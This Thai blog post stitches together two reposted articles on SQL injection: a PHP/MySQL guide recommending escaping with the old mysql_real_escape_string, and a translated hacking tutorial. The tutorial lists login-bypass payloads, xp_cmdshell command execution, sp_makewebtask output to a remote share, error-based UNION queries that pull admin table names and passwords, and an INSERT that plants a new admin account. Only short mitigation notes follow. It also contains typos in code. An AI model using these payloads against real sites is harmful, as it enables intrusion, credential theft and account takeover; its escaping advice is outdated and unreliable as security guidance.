05 July 2015

สิ่งที่ทุกคนต้องรู้ ในการเขียนโปรแกรมด้วย PHP กับ MySQL หากไม่อยากให้ระบบที่เขียนนั้นถูก HACK ได้

สิ่งที่ทุกคนต้องรู้ ในการเขียนโปรแกรมด้วย PHP กับ MySQL หากไม่อยากให้ระบบที่เขียนนั้นถูก HACK ได้ !!!

การเขียนโปรแกรมติดต่อกับฐานข้อมูลนั้น จะต้องมีการสั่งให้ PHP อ่านหรือเพิ่มเติมแก้ไขข้อมูลในฐานข้อมูล ซึ่งมักจะต้องเกี่ยวพันกับข้อมูลที่รับมาจากผู้ใช้ เพื่อที่จะทำการค้นหา หรือเปลี่ยนแปลงข้อมูล ซึ่งตัวอย่างที่พบเห็นได้ทั่วไป จะคล้ายๆ แบบนี้

$sql = "SELECT * FROM `member` WHERE `username` = '$_POST[username]' AND `password` = '$_POST[password]'"; $result = mysql_query($sql); if (!$result) { die(mysql_error()); } $user = mysql_fetch_array($result);

โค้ดดังกล่าวเป็นระบบ login เพื่อค้นหาบัญชีผู้ใช้ในระบบ และตรวจว่ารหัสผ่านตรงหรือไม่
หากเจอบัญชีผู้ใช้ และรหัสผ่านตรงกับที่ส่งมา ก็จะดำเนินการต่อไป

จะเห็นได้ว่า มีการรับข้อมูลจากผู้ใช้ ($_POST['username'] และ $_POST['password'])
และนำไปประกอบกับ query โดยตรง
ซึ่งโค้ดลักษณะนี้เสี่ยงต่อการกระทำที่เรียกว่า SQL Injection ครับ



มาดูกันว่า SQL Injection เป็นอย่างไร

สมมติว่าเรา login ด้วย
username: cookiephp password: 0123456789


ก็จะได้ตัวแปร $sql ที่มีค่า

SELECT * FROM `member` WHERE `username` = 'cookiephp' AND `password` = '0123456789'


ซึ่งจะไม่มีปัญหาอะไร

แต่ถ้าสมมติว่าเรา login ด้วย

username: cookiephp password: -_-'


ก็จะได้ตัวแปร $sql ที่มีค่า

SELECT * FROM `member` WHERE `username` = 'cookiephp' AND `password` = '-_-''


ซึ่งจะทำให้เกิด error แบบนี้
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''-_-''


สังเกตตรง `password` = '-_-''
กลายเป็นว่ารหัสผ่านของเราซึ่งก็คือ -_-' จะไปปิด string เสียก่อน
และทำให้ค่าของรหัสผ่านที่จะใช้เปรียบเทียบนั้นเปลี่ยนเป็น -_-
และทำให้มี ' เกินมา 1 ตัว

กรณีแบบนี้เรียกว่า SQL Injection แปลแบบบ้านๆ ได้ว่า การเสียบเข้าไปใน SQL ซึ่งในที่นี้ เราเสียบเครื่องหมาย ' เข้าไปนั่นเอง
ซึ่งในตัวอย่างนี้มีผลเสียเพียงแค่เกิด error

แต่หากเรา login ด้วย

username: cookiephp password: ' OR username = 'cookiephp' AND TRUE <> '


ก็จะได้ตัวแปร $sql ที่มีค่า

SELECT * FROM `member` WHERE `username` = 'cookiephp' AND `password` = '' OR username = 'cookiephp' AND TRUE <> ''


ซึ่งจะตรงกันข้ามกับตัวอย่างก่อนหน้านี้
คือไม่ทำให้ SQL มันผิดพลาด แต่ทำให้เป็น SQL ที่มีความหมายเปลี่ยนไป
หากมีชื่อผู้ใช้ดังกล่าวอยู่ในฐานข้อมูล แม้รหัสผ่านจะไม่ตรงก็ไม่มีผล
เพราะเงือนไขที่สองหลัง OR จะเป็นจริงเสมอ

ทำให้เราสามารถ login ในนามของใครก็ได้ เพียงแค่รู้จักชื่อผู้ใช้




วิธีป้องกัน SQL Injection

ในการเอาค่าที่รับมาจากผู้ใช้ไปรวมเป็น query นั้น
เราต้อง "escape" ค่าที่รับมาจากผู้ใช้ด้วยฟังก์ชั่นที่เหมาะสม (ซึ่งแล้วแต่ชนิดของฐานข้อมูล) ก่อนที่จะนำไปใช้

ซึ่งสำหรับ MySQL นั้นมีสองฟังก์ชั่นคือ

mysql_escape_string() และ mysql_real_escape_string()

ซึ่งแนะนำให้ใช้ตัวหลัง

ตัวอย่าง
$_POST['username'] = mysql_real_escape_string($_POST['username']); $_POST['password'] = mysql_real_escape_string($_POST['password']); $sql = "SELECT * FROM `member` WHERE `username` = '$_POST[username]' AND `password` = '$_POST[password]'";


หากเรา "escape" ค่าที่รับมาจากผู้ใช้แล้ว ต่อให้มีเครื่องหมาย ' อยู่ในค่านั้นๆ ก็จะไม่มีปัญหาอีกต่อไป

สมมติว่าเราส่งพาสเวิร์ดที่มีค่า -_-' ตามตัวอย่างก่อนหน้านี้

ก็จะได้ตัวแปร $sql ที่มีค่า

SELECT * FROM `member` WHERE `username` = 'cookiephp' AND `password` = '-_-\''


ซึ่ง \' จะไม่ทำให้ SQL ผิดเพี้ยน เพราะ MySQL จะตีความเป็นเครื่องหมาย ' ให้เป็น "ข้อมูล" ไม่ใช่ "ไวยากรณ์ ของ SQL"




มาเปลี่ยนวิธีการสร้าง query กันเถอะ

จากตัวอย่างข้างบน สามารถทำให้โค้ดกระชับขึ้นได้ด้วยการหลีกเลี่ยงการกำหนดค่าลงตัวแปรด้วยการเชื่อมต่อสตริง

ใช้การเชื่อมต่อสตริงเพื่อสร้าง SELECT query
// ไม่ต้องมีการกำหนดค่าลงตัวแปรก่อนนำไปใช้ // ลดขั้นตอนการทำงานของ PHP ลง // ประหยัดหน่วยความจำ $sql = "SELECT * FROM `member` WHERE `username` = '" . mysql_real_escape_string($_POST['username']) . "' AND `password` = '" . mysql_real_escape_string($_POST['password']) . "'";


แต่ไม่แนะนำให้ใช้!!! เพราะอ่านยาก แก้ไขยาก และเขียนผิดพลาดได้ง่าย

แนะนำให้ใช้ฟังก์ชั่น sprintf() เพื่อการแก้ไขที่สะดวกขึ้นในภายหลัง และทำให้อ่านง่ายมากขึ้นด้วย

sprintf() นั้นเป็นฟังก์ชั่นที่ใช้ "แทนที่ค่าต่างๆ ลงใน string ตามรูปแบบที่ต้องการ"

โดยมีรูปแบบการใช้ดังนี้ sprintf(รูปแบบค่าแทนที่)
รูปแบบ คือ string ที่เครื่องหมาย % แล้วตามด้วยอักษรภาษาอังกฤษบางตัว เช่น %s%d (แต่สำหรับการสร้าง query เราใช้แบบเดียวคือ%s) จะทำให้กลายเป็นจุดที่ค่าอื่นจะมาแทนที่ หากจะแสดงเครื่องหมาย % ต้องใช้ %%
ค่าแทนที่ สามารถมีได้หลายค่า

ตัวอย่างการใช้ sprintf()
echo sprintf('I am %s years old.', 10); // %s คือจุดที่จะแทนที่ด้วยค่าอื่น ในที่นี้คือ 10 จะได้ผลเป็น // I am 10 years old. echo sprintf('I have %s brothers and %s sisters.', 2, 4); // ค่าแทนที่มากกว่า 1 ค่า // I have 2 brothers and 4 sisters. echo sprintf('<div style="width: %s%%">Hello World</div>', 50); // %% จะกลายเป็น % // <div style="width: 50%">Hello World</div>


ใช้ sprintf() เพื่อสร้าง SELECT query ลองเปรียบเทียบกับการเชื่อมต่อสตริง แบบไหนอ่านง่ายกว่า?
sql = sprintf( "SELECT * FROM `member` WHERE `username` = '%' AND `password` = '%s'", mysql_real_escape_string($_POST['username']), // %s ตัวที่หนึ่ง mysql_real_escape_string($_POST['password']) // %s ตัวที่สอง );


ใช้ sprintf() เพื่อสร้าง INSERT query
$sql = sprintf( " INSERT INTO `members` (`id`, `username`, `password`, `first_name`, `last_name`) VALUES ('', '%s', '%s', '%s', '%s') ", mysql_real_escape_string($_POST['username']), // %s ตัวที่ 1 mysql_real_escape_string($_POST['password']), // %s ตัวที่ 2 mysql_real_escape_string($_POST['first_name']), // %s ตัวที่ 3 mysql_real_escape_string($_POST['last_name']) // %s ตัวที่ 4 );


ใช้ sprintf() เพื่อสร้าง UPDATE query
$sql = sprintf( " UPDATE `members` SET `username` = '%s', `password` = '%s', `first_name` = '%s', `last_name` = '%s' WHERE `id` = '%s' LIMIT 1 ", mysql_real_escape_string($_POST['username']), // %s ตัวที่ 1 mysql_real_escape_string($_POST['password']), // %s ตัวที่ 2 mysql_real_escape_string($_POST['first_name']), // %s ตัวที่ 3 mysql_real_escape_string($_POST['last_name']), // %s ตัวที่ 4 mysql_real_escape_string($_POST['id']) // %s ตัวที่ 5 );





บทความที่เกี่ยวข้อง





แหล่งข้อมูลอ้างอิง

---------------------------------------------------------------------
credit : http://www.thaicreate.com/community/
---------------------------------------------------------------------

=====================================================================

กล่าวโดยรวมนะครับ
บทความต่อไปนี้พยายามที่จะช่วยให้ผู้เริ่มต้นที่กำลังเผชิญกับปัญหาเกี่ยวกับการใช้ SQL Injection เพื่อให้เกิด
ประโยชน์ และเพื่อป้องกันการโจมตีจากเทคนิคนี้

Credit
ข้อมูลเหล่านี้จัดหาและเรียบเรียง โดย SK

1.0 นำกันก่อนนะ
เมื่อระบบเปิดเฉพาะ port 80 คงไม่ต้องมานั่งเสียเวลาให้เปล่าในการควานหาช่องโหว่ เพราะผู้ดูแลระบบก็
คงอุดช่องโหว่ไว้แล้ว ดังนั้นวิธีเดียวคือแฮกผ่านเวปซะเลย SQL injection คือหนทางนึงของการ Hack web ซึ่งไม่ต้อง
การอะไรนอกจาก port 80 วิธีนี้จะโจมตี web application (เช่น ASP, JSP, PHP, CGI, etc) มากกว่าที่จะเป็น
การโจมตีเครื่อง server หรือ services ที่รันบนระบบปฏิบัติการ
บทความนี้ไม่ได้นำเสนอสิ่งใหม่ SQL Injection ถูกเปิดเผยและใช้กันอย่างกว้างขวาง เราเขียนบทความนี้
เพราะเราต้องการบันทึกการใช้ SQL Injection ไว้เป็นเอกสาร และหวังว่าส่วนหนึ่งของมันจะเป็นประโยชน์กับผู้อื่น คุณ
สามารถหาข้อมูลเพิ่มเติมได้ในหัวข้อ "9.0 ข้อมูลเพิ่มเติม" (ขี้เกียจแปลสรุปเลย)

1.1 SQL Injection คืออะไร
มันคือ trick ที่จะใส่คำสั่ง SQL ลงไปใน via (Vacation Internet Access ) web pages ที่เป็นไปได้
เวปเพจหลายแห่งรับค่า parameter จากผู้ใช้ และสร้างคำสั่งร้องขอไปยังฐานข้อมูล ยกตัวอย่างกรณี login เวปเพจจะสร้าง
query เพื่อไปตรวจสอบ user กะ pass ใน DB ว่าถูกต้องหรือไม่ ด้วย SQL Injection มันจะเป็นไปได้ที่จะส่ง user
และ pass ที่ถูกสร้างขึ้น ซึ่งจะเปลี่ยน SQL query และ grant (ยินยอม) อะไรทำนองนั้น

1.2 สิ่งที่คุณต้องการ
web browser อะไรก็ได้

2.0 ควรจะมองหาอะไร


ต้องมองหาหน้าเวปที่สามารถ submit ได้ เช่น หน้า login, หน้า search, หน้า feedback ฯลฯ บางครั้ง
HTML Page จะใช้คำสั่ง post เพื่อส่งค่า parameter ไปยัง ASP Page อีกหน้าหนึ่ง คุณอาจจะเห็นหรือไม่เห็นค่า
parameter ใน URL อย่างไรก็ตามคุณสามารถตรวจ source code สำหรับ HTML ได้ และมองหา "FORM" ใน
HTML code คุณจะพบเห็นคำสั่งหน้าตาประมาณนี้

ทุกๆ อย่างที่อยู่ระหว่าง และ มีค่าซึ่งอาจเป็นประโยชน์ก็ได้ (เทคนิคการทำ exploit)

2.1 ทำไงถ้าไม่พบหน้าที่มีช่องทาง Input
ต้องพยายามมองหาหน้าเพจที่เป็น ASP, JSP, CGI, or PHP พยายามเจาะจงไปที่ URL ที่มีการรับค่า
parameter เช่น :
http://duck/index.asp?id=10

3.0 คุณจะรู้ได้อย่างไรว่ามีจุดอ่อน


เริ่มด้วยการทดสอบโดยใส่ค่าอย่างเช่น
hi' or 1=1--
ลงไปในช่อง login หรือ pass หรือ URL ดังกล่าว เช่น
- Login: hi' or 1=1--
- Pass: hi' or 1=1--
- http://duck/index.asp?id=hi' or 1=1--
ถ้าต้องการทำวิธีนี้เพื่อผ่านเข้าไปพื้นที่ซ่อนไว้ แค่ download source HTML มาเก็บไว้ในเครื่องแล้วแก้
source ตามนี้ เช่น :

ถ้าโชคดี จะผ่านเข้าไปได้โดยไม่ต้องใช้ user หรือ pass

3.1 แต่ทำไมต้องเป็น ' or 1=1--
เราลองมาดูตัวอย่างอีกอันว่าทำไม ' or 1=1-- ถึงสำคัญขนาดนี้ นอกจากจะ bypass login แล้ว มันยัง
เป็นไปได้ที่จะทำให้เรามองเห็นข้อมูลที่ไม่เปิดเผยโดยทั่วไปได้ เข้าไปหน้า ASP ที่เข้าไปสู่หน้าเพจอีกหน้าซึ่งมี URL
ประมาณนี้นะครับ :
http://duck/index.asp?category=food
ตรง 'category' เป็นชื่อตัวแปร และ 'food' เป็นค่าที่ส่งให้ตัวแปร 'category' ตามคำสั่งนี้ ASP จะ
สร้าง code ตามนี้ (นี่เป็น code ที่เราสร้างขึ้นเพื่อการนี้เท่านั้น...ประมาณว่าของจริงอาจไม่ใช่แบบนี้ก็ได้...แนวๆ..อิอิ)
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
เราจะเห็นได้ว่า ตัวแปรจะถูกเก็บไว้ในตัวแปรอีกตัวที่ชื่อ v_cat ดังนั้น SQL statement ควรจะเป็น :
SELECT * FROM product WHERE PCategory='food' (ตรงนี้พวกไม่เคยเล่น query คง
กำลังงง ว่ามันคืออะไร...อุอุอุ...พยายามต่อไปครับ ประเคนมาถึงขนาดนี้แล้ว ที่เหลือก็แค่หาช้อนมาตักเข้าปากเท่านั้น)
ตาม query นี้ จะทำการดึงฐานข้อมูลแถวที่มี field คำว่า 'food' ออกมา
ที่นี่ เรามาลองเปลี่ยน URL ใหม่เป็นแบบนี้ดูนะครับ
http://duck/index.asp?category=food' or 1=1--
เราจะเห็นว่าตัวแปร v_cat ของเรา จะถูกรวมเป็น "food' or 1=1-- " (จากเดิมคือ
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'") ถ้าเราแทนที่ SQL query
อย่างนี้แล้ว เราจะได้ query ใหม่เป็น :
SELECT * FROM product WHERE PCategory='food' or 1=1--'
เมื่อได้ query นี้ จะเป็นการเลือกทุกอย่างจากตารางฐานข้อมูลโดยไม่คำนึงถึง ค่า food ตัว "--" (อ่านว่า
double dash ตัวขีดสองขีด) บอก MS SQL Server ให้เลิกสนใจ query ชั่วคราว ซึ่งจะกำจัดตัว single quote (')
ตัวสุดท้ายออกไป (ถูกป่าวหว่า) บางครั้ง อาจเป็นไปได้ที่จะแทนที่ "--" ด้วย "#"
อย่างไรก็ตาม ถ้าหากว่าเขาไม่ใช้ SQL Server หรือคุณไม่สามารถทำ(ให้เลิกสนใจ query ชั่วคราว)ได้ ให้
ลองตัวนี้แทน
' or 'a'='a
ซึ่งจะทำให้ SQL query เป็น :
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
ซึ่งจะ return ผลออกมาเหมือนๆ กัน
คุณสามารถลองเปลี่ยนแปลงได้ตามต่อไปนี้ :
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4.0 แล้วจะทำ remote execute กับ SQL Injection ยังไงหละ ?


การที่จะสามารถที่จะ inject คำสั่ง SQL ได้นั้น เราต้องสามารถ execut SQL query ได้... โดยปกติแล้ว
เวปที่ติดตั้ง MS SQL Server นั้นจะถูกรันไว้โดย System ซึ่งมีค่าเท่ากับการที่ Admin เข้าสู่ระบบ Windows เรา
สามารถอาศัยขั้นตอนในการสำรอง(ถูกป่าวหว่า อันนี้งูๆ ปลาๆ ) เช่น master..xp_cmdshell ที่จะทำ remote execute
'; exec master..xp_cmdshell 'ping 10.10.1.2'--
ถ้า single quote (') ใช้ไม่ได้ให้ลอง double quote (")
ตัว semi colon (Wink จะเป็นการจบคำสั่ง SQL และอนุญาตให้คุณเริ่มคำสั่งใหม่ได้ หากต้องการตรวจสอบคำสั่ง
ว่าสำเร็จหรือไม่ สามารถทำได้โดย listen ICMP packet ที่ 10.10.1.2 (อันนี้ผมคงต้องใช้โปรแกรมช่วย) ดูว่าถ้ามี packet
ใดๆ จาก server เช่น :
#tcpdump icmp
ถ้าไม่รับอะไรเลย แถมมี error message อีกตะหาก เป็นไปได้ว่า Admin ได้จำกัดการเข้าถึงของผู้ใช้เวปด้าน
การทำ stored procedures ไว้เรียบร้อยแล้ว (ปิดช่องโหว่ซะแล้ว ...ทำไงต่อหละเนี๊ยะ)

5.0 ทำไงที่จะได้มาซึ่งผลลัพธ์จากการใช้ mySQL query ?


เป็นไปได้ที่จะใช้ sp_makewebtask เขียน query เข้าไปใน HTML :
'; EXEC master..sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"
แต่ IP ของเป้าหมายต้องมี folder ที่เปิด share ไว้แบบ Everyone

6.0 แล้วทำไงจะได้ข้อมูลจาก DB ที่ใช้ ODBC error message หละ ?


เราสามารถใช้ข้อมูลจาก error message ที่มาจาก MS SQL Server ได้ เพื่อจะได้มาซึ่งข้อมูลที่เราต้องการ
ทดลองเข้าเวปแบบนี้ดูนะ
http://duck/index.asp?id=10
เราสามารถลองใช้คำสั่ง UNION จำนวนเต็ม '10' ร่วมกับคำสั่งหรือตัวแปรอื่นๆ ได้ (มั่วไปนั่น) :
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
ตาราง INFORMATION_SCHEMA.TABLES ประกอบด้วยข้อมูลของทุกๆ ตารางใน server (ควรศึกษา
เรื่อง DB เพิ่มเติมนะครับ จะมองเห็นภาพเอง) ส่วน field ที่ชื่อ TABLE_NAME นั้นประกอบด้วยชื่อของตารางต่างๆ ใน
ฐานข้อมูลอย่างไม่ต้องสงสัย (ตามระบบของ DB จะมีตารางที่เก็บรายชื่อของตาราง คล้ายสารบัญตารางอะไรทำนองนั้น เพื่อใช้ใน
การอ้างอิงและง่ายต่อการค้นหา) เหตุที่เลือกตารางนี้เพราะเรารู้ว่ามันมีอยู่จริงๆ query คือ
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
มันจะ return ชื่อของตารางแรกในฐานข้อมูล เมื่อเรา UNION คำสั่งนี้กับจำนวนเต็ม 10 แล้ว MS SQL server
จะพยายามแปลง string(nvarchar) ไปเป็น integer (ชนิดของตัวแปล) ซึ่งจะทำให้เกิด error (ความผิดพลาด) ขึ้น (ซึ่งปกติเรา
ไม่สามารถแปลงตัวแปร string ไปเป็น interger ได้) ทำให้ server แสดงข้อความ error ออกมาอย่านี้ :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'table1' to a column of data type int.
/index.asp, line 5
ข้อความข้างบนนี้แสดงให้เราเห็นได้ว่า มันไม่สามารถแปลงตัวแปร string ไปเป็น integer (แปลงข้อความเป็นตัวเลข)ได้
ในกรณีนี้ เราได้รับชื่อของตารางแรกในฐานข้อมูลมาแล้ว คือ "table 1"
เพื่อที่จะเอาชื่อของตารางต่อไป เราต้องใช้คำสั่งต่อไปนี้
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--
เรายังสามารถค้นหาข้อมูลโดยใช้ keyword ทำนองเดียวกันนี้ :
http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--
ซึ่งผลที่ได้รับคือ
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.
/index.asp, line 5
ข้อความ '%25login%25' จะถูกมองเห็นเป็น %login% ใน SQL server ในกรณีนี้เราก็จะได้ตารางชื่อ "admin_login"
มาแล้ว

6.1 เราจะทำเหมืองข้อมูล(กรรมวิธีที่ใช้ในการแยกแยะข้อมูลเป็น DB)เกี่ยวกับชื่อ column ในตารางทั้งหมดได้ยังไง ?
เราสามารถใช้ประโยชน์อีกอย่างหนึ่งจาก INFORMATION_SCHEMA.COLUMNS เพื่อแสดงชื่อ columns
ทั้งหมดออกมา :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--
ผลที่ได้คือ :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.
/index.asp, line 5
จากผลที่ได้นี้ เราก็จะได้ชื่อ column แรกมา เรายังสามารถใช้ NOT IN () เพื่อจะได้ชื่อ column ถัดไปดังนี้ :
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--
ซึ่งผลที่ได้คือ
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.
/index.asp, line 5
เมื่อเราทำไปเรื่อยๆเราก็จะเจอชื่อ column เช่น "password", "details" ซึ่งเราจะรู้ได้ว่าเจอแล้วเมื่อปรากฏข้อความ error ดังนี้
http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--
ผลที่ได้คือ
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.
/index.asp, line 5

6.2 ทำไงถึงจะได้มาซึ่งข้อมูลทุกอย่าง ?
ตอนนี้เราสามารถระบุชื่อและcolumn ของตารางที่สำคัญๆ ได้แล้ว เราก็ยังคงใช้เทคนิคเดียวกันนี้กับข้อมูลอื่นๆ
ที่เราต้องการจากฐานข้อมูล
มองลองเอาชื่อ login_name จากตาราง "admin_login" กัน :
http://duck/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--
ผลที่ได้จากด้านบนคือ
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.
/index.asp, line 5
ที่นี้เราก็จะรู้ชื่อของ admin ที่มี login_name ว่า "neo" สุดท้าย เอา pass ของ "neo" มาจาก DB :
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--
ผลที่ได้คือ
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.
/index.asp, line 5
เราก็จะสามารถ login ได้โดยใช้ user เป็น neo และ passwrod เป็น m4trix

6.3 วิธีที่จะได้มาซึ่งค่า numeric string (ข้อความที่เป็นตัวเลข...อันนี้ต้องเคยเขียนโปรแกรมจึงจะเข้าใจประเภทของตัวแปร)

ค่อนข้างจะมีข้อจำกัดสำหรับเทคนิคนี้ คือเราไม่สามารถทำ error message ได้ถ้าต้องการจะ แปลงข้อความเป็น
ตัวเลขล้วนๆ พูดง่ายๆ คือ หากเราต้องการจะเอา pass ของคนที่ชื่อ "trinity" ซึ่งเขามี pass เป็น "31173" ซึ่งเป็นตัวเลขทั้งหมด :
http://duck/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--
เราจะพบว่า ผลที่ได้จะเจอกับ "Page Not Found" เพราะ "31173" ซึ่งเป็น string จะถูกแปลงไปเป็น number
ก่อนที่จะทำการ UNION กับจำนวนเต็มดังกล่าว (ในที่นี้คือ 10) และหากว่าการ UNION ใช้ได้หรือถูกต้องนั้น SQL server จะไม่
ส่ง error message ออกมา ดังนั้น เราจะไม่สามารถมองเห็นค่าตัวเลขใดๆ เลย (อืมข้อนี้น่าสนใจ เอาไว้ใช้เวลาตั้ง pass สำหรับ
admin ได้นะ)
การแก้ปัญหานี้ เราสามารถเชื่อมโยง numeric string กับ ตัวอักษรบางตัวแทน ซึ่งต้องมั่นใจว่าการแปลงนั้นส่งผลผิดพลาดแน่นอน(เพื่อ
จะให้ server ส่ง error message ออกมา) เรามาลองคำสั่งนี้แทน :
http://duck/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--
เราใช้เครื่องหมาย + เพิ่มเข้าไปใน passwd กับ ตัวอักษร ที่เราต้องการ (รหัส ASSCII สำหรับเครื่องหมาย '+' คือ 0x2b)
เรายังเพิ่ม '(ช่องว่าง)morpheus' เข้าไปในช่อง passwd ด้วย เพราะฉะนั้นเมื่อเรามีเลข '31173' มันจะกลายเป็น '31173 morpheus'
โดยปกติเรียกกันว่าฟังก์ชั่น convert() ซึ่งจะพยายามแปลง '31173 morpheus' ไปเป็นตัวเลขซึ่งจะทำให้ SQL server ส่ง
error message ออกมาดังนี้ :
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.
/index.asp, line 5
คราวนี้คุณก็สามารถ login ได้โดยใช้ passwd เป็น '31173'

7.0 แล้วเราจะสามารถ update/insert ข้อมูลลงไปใน DB ได้รึป่าว ?


ถ้าเรารู้ชื่อของตารางและ column แล้วมันก็เป็นไปได้ที่เราจะสามารถใช้คำสั่ง UPDATE หรือ INSERT ข้อมูล
ลงไปในตารางได้ ยกตัวอย่างเช่น การเปลี่ยน passwd ของคนที่ชื่อ "neo" (แปลมาถึงตรงนี้เห็นได้ว่า คนเขียนบ้าหนังเรื่อง Matrix
พอสมควร) ทำได้ดังนี้ :
http://duck/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--
ทีนี่เราก็จะสามารถ login ได้ในชื่อ neo2 และ pass คือ newpas5

8.0 แล้วจะหลีกเลี่ยงวิธีนี้ได้ไงอะ ?


กรองตัวอักษรเช่น single quote, double quote, slash, back slash, semi colon extended ตัวอักษร
เช่น NULL การ enter การขึ้นบรรทัดใหม่ ฯลฯ ที่เข้ามาในรูป String :
- จาก Input ของ users
- ค่า Parameters จาก URL
- ค่าจากตัวแปร cookie
สำหรับค่าทีเป็นตัวเลขให้แปลงเป็น จำนวนเต็มก่อนที่จะวางลงไปในคำสั่ง SQL หรือจะใช้คำสั่ง ISNUMERIC เพื่อให้แน่ใจว่าเป็นตัวเลข
จำนวนเต็ม
เปลี่ยน "Startup and run SQL Server" โดยปรับ privilege ให้อยู่ในระดับ low ใน SQL Server Security tab
ลบ stored procedures ที่ไม่ใช้แล้วทิ้ง เช่น :
master..Xp_cmdshell, xp_startmail, xp_sendmail, sp_makewebtask

9.0 ข้อมูลเพิ่มเติม


ในช่วงแรกๆ ในการทำงานเรื่อง SQL Injection นี้ เราได้ค้นพบเอกสารจากเวป Rain Forest Puppy เกี่ยวกับการ hack
ด้วยวิธี PacketStrom :
http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6

บทความดีๆ เกี่ยวกับ ODBC error message :
http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litch...

บทสรุปดีๆ สำหรับ SQL Injection ในหลายๆ SQL server
http://www.owasp.org/asac/input_validation/sql.shtml

บทความของ Sensepost เกี่ยวกับ SQL Injection
http://www.sensepost.com/misc/SQLinsertion.htm

อื่นๆ เพิ่มเติม
http://www.digitaloffense.net/wargames01/IOWargames.ppt
http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6
http://www.spidynamics.com/whitepapers/WhitepaperSQLInjection.pdf

-------------------------------------------------------------------------------------------
credit : http://www.webub.com/
------------------------------------------------------------------------------